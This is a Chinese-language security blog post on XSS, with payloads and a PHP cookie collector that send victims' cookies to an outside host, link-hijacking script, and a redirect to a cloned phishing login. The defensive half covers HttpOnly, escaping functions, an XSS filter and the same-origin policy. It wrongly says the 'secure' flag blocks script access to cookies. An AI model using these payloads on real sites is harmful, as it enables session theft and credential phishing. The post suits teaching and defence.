xss应用和一些防护

0x01 xss应用和危害


1.xss盗取cookie

存在反射型xss漏洞的站点可以利用以下payload盗取cookie:

url?uname=<script>document.location=http://ip/cookie.php?cookie="+document.cookie"<script>

将对象重定向到我们的恶意url,并在这个url中提交cookie参数,这里的document是当前页面的,就会返回当前网站的cookie。

cookie中的代码:

<?php
$cookie=$_GET['cookie'];
file_put_contents('cookie.txt',$cookie);
?>

2.xss篡改链接

在存在漏洞的网页上提交这样一段js代码:

<script>
window.onload=function()
{
var link=document.getElementsByTagName("a");
for(j=0;j<link.length;j++){
link[j].href="http://attacher-site.com/";
}
}
</script>

以上代码就是当打开此页面时,执行function(匿名函数,直接执行一次),获取a标签后存储到变量link里。再用一个循环来替换所有的链接为恶意链接。

因此就可以利用这个漏洞来更换网页链接,使用户在不知情的情况下跳转到恶意链接,可能会被利用为刷流量之类的,严重一点的话跳转到恶意链接之后会被用于执行其他命令。(比如利用Beef进行恶意链接生成,以及利用hook.js来使Beef返回一些会话进行其他恶意操作),因此危害比较大。

3.xss跳转克隆网站

盗取用户信息原理:

攻击者克隆网站登陆页面,利用存储xss设置跳转,当用户跳转到克隆网站之后输入账号和密码后,就会被攻击者获得。

克隆网站工具:setookit。kali上有这个,使用起来比较方便(突然觉得自己像脚本小子???不过蛮好玩)

用setookit克隆某个登陆页面后,用xss漏洞跳转到这个克隆网站。<script>window.location="http://badsite/"</script>

当用户输入了用户名和密码之后,就会在setookit中返回用户的请求和响应,因此用户的用户名和密码就被泄露了。

0x02 一些防护

httponly设置

HttpOnly是包含在Set-Cookie HTTP响应头文件中的附加标志。生成cookie时使用HttpOnly标志有助于降低客户端脚本访问受保护cookie的风险。

setcookie(name,value,expire,path,domain,secure)
参数 描述
name 必需。规定 cookie 的名称。
value 必需。规定 cookie 的值。
expire 可选。规定 cookie 的有效期。
path 可选。规定 cookie 的服务器路径。
domain 可选。规定 cookie 的域名。
secure 可选。规定是否通过安全的 HTTPS 连接来传输 cookie。

设置secure的参数为true后,就不能使用js来获取cookie。

htmlspecialchars()函数

htmlspecialchars() 函数把预定义的字符转换为 HTML 实体。

预定义的字符是:&、"、'、<、>

语法:

htmlspecialchars(string,flags,character-set,double_encode)

例如:

<?php
$str="test";
echo $str;
echo htmlspecialchars($str);
?>

这里htmlspecialchars()函数是返回html实体,不是修改原来的字符。

htmlentities()函数

跟htmlspecialchars()的作用和使用方法都相似,它是将字符都变成HTML实体。

strip_tags()函数

strip_tags() 函数剥去字符串中的 HTML、XML 以及 PHP 的标签。

参数 描述
string 必需。规定要检查的字符串。
allow 可选。规定允许的标签。这些标签不会被删除。

xss filter

XSS Filter在用户提交数据时获取变量,进行XSS检查,匹配XSS的特征。一般使用正则表达式进行匹配,并且可以自定义使得尽可能地过滤更多xss payload。

例如https://github.com/YahooArchive/xss-filters

例如网上的一个xss filter

function xss_clean($data)
{
// Fix &entity\n;
$data = str_replace(array('&amp;','&lt;','&gt;'), array('&amp;amp;','&amp;lt;','&amp;gt;'), $data);
$data = preg_replace('/(&#*\w+)[\x00-\x20]+;/u', '$1;', $data);
$data = preg_replace('/(&#x*[0-9A-F]+);*/iu', '$1;', $data);
$data = html_entity_decode($data, ENT_COMPAT, 'UTF-8');

// Remove any attribute starting with "on" or xmlns
$data = preg_replace('#(<[^>]+?[\x00-\x20"\'])(?:on|xmlns)[^>]*+>#iu', '$1>', $data);

// Remove javascript: and vbscript: protocols
$data = preg_replace('#([a-z]*)[\x00-\x20]*=[\x00-\x20]*([`\'"]*)[\x00-\x20]*j[\x00-\x20]*a[\x00-\x20]*v[\x00-\x20]*a[\x00-\x20]*s[\x00-\x20]*c[\x00-\x20]*r[\x00-\x20]*i[\x00-\x20]*p[\x00-\x20]*t[\x00-\x20]*:#iu', '$1=$2nojavascript...', $data);
$data = preg_replace('#([a-z]*)[\x00-\x20]*=([\'"]*)[\x00-\x20]*v[\x00-\x20]*b[\x00-\x20]*s[\x00-\x20]*c[\x00-\x20]*r[\x00-\x20]*i[\x00-\x20]*p[\x00-\x20]*t[\x00-\x20]*:#iu', '$1=$2novbscript...', $data);
$data = preg_replace('#([a-z]*)[\x00-\x20]*=([\'"]*)[\x00-\x20]*-moz-binding[\x00-\x20]*:#u', '$1=$2nomozbinding...', $data);

// Only works in IE: <span style="width: expression(alert('Ping!'));"></span>
$data = preg_replace('#(<[^>]+?)style[\x00-\x20]*=[\x00-\x20]*[`\'"]*.*?expression[\x00-\x20]*\([^>]*+>#i', '$1>', $data);
$data = preg_replace('#(<[^>]+?)style[\x00-\x20]*=[\x00-\x20]*[`\'"]*.*?behaviour[\x00-\x20]*\([^>]*+>#i', '$1>', $data);
$data = preg_replace('#(<[^>]+?)style[\x00-\x20]*=[\x00-\x20]*[`\'"]*.*?s[\x00-\x20]*c[\x00-\x20]*r[\x00-\x20]*i[\x00-\x20]*p[\x00-\x20]*t[\x00-\x20]*:*[^>]*+>#iu', '$1>', $data);

// Remove namespaced elements (we do not need them)
$data = preg_replace('#</*\w+:\w[^>]*+>#i', '', $data);

do
{
// Remove really unwanted tags
$old_data = $data;
$data = preg_replace('#</*(?:applet|b(?:ase|gsound|link)|embed|frame(?:set)?|i(?:frame|layer)|l(?:ayer|ink)|meta|object|s(?:cript|tyle)|title|xml)[^>]*+>#i', '', $data);
}
while ($old_data !== $data);

// we are done...
return $data;
}

web.xml添加过滤器

<filter>
<filter-name>xssFilter</filter-name>
<filter-class>com.newcapec.cloudpay.filter.XssFilter</filter-class>
</filter>
<!-- 解决xss漏洞 -->
<filter-mapping>
<filter-name>xssFilter</filter-name>
<!--过滤路径-->
<url-pattern>*</url-pattern>
</filter-mapping>

浏览器同源策略

(也不只是用来防御xss的,只是刚好现在看了下这个就写上来了)

同源策略是一个重要的安全策略,它用于限制一个origin的文档或者它加载的脚本与另一个源的资源进行交互。它能帮助阻隔恶意文档,减少可能被攻击的媒介。

信息来源的位置。源是由协议、主机名、端口名组成。

同源的定义

如果两个 URL 的 protocolport (如果有指定的话)和 host 都完全一致的话,则这两个 URL 是同源。

同源策略

同源策略用来阻止一个非同源的页面的恶意代码去访问另外一个非同源的页面。

只有两个页面属于同一个源才能相互访问,不同源的客户端脚本在没有明确授权下,不能读写对方资源。所以a.com下的js脚本采用ajax(关于ajax的说明可以看这篇文章)读取b.com里的数据是会报错的。

例如如下代码:

<html>
<head>
<title>test</title>
<script>
var url= "https://www.baidu.com";
var req= new XMLHttpRequest();//ajax对象
req.open('GET',url);
req.send("hello");
</script>
</head>
<body>
<h1>test</h1>
</body>
</html>

访问后显示:

同源策略限制的内容
  • 跨源网络访问:AJAX请求。
  • 跨源 DOM 访问:DOM。
  • 跨源脚本API访问:Javascript的APIs,如 iframe.contentWindow, window.parent, window.open 和 window.opener 。
  • 跨源数据存储访问:Cookie、LocalStorage 和 IndexDB。
IE源的特殊处理

1.两个相互之间高度互信的域名,如公司域名(corporate domains),则不受同源策略限制。

2.IE在判断同源时不考虑端口。

更改源

可以通过document.domain修改或读取源。但是仅限由当前域改为父域。

例如在http://a.xx.com的脚本中的一条语句:

document.domain="xx.com"

这条语句执行之后,页面会将它的 document.domain 设置为“xx.com”,但仅限更改为它的父域。

而端口号是由浏览器另行检查的。任何对document.domain的赋值操作,包括 document.domain = document.domain 都会导致端口号被重写为 null 。因此 xx.com:8080 不能仅通过设置 document.domain = "xx.com" 来与xx.com 通信。必须在他们双方中都进行赋值,以确保端口号都为 null

Author: Neorah
Link: https://neorah.me/pentest/XSS%E5%BA%94%E7%94%A8%E5%92%8C%E4%B8%80%E4%BA%9B%E9%98%B2%E6%8A%A4/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 3.0 unless stating additionally.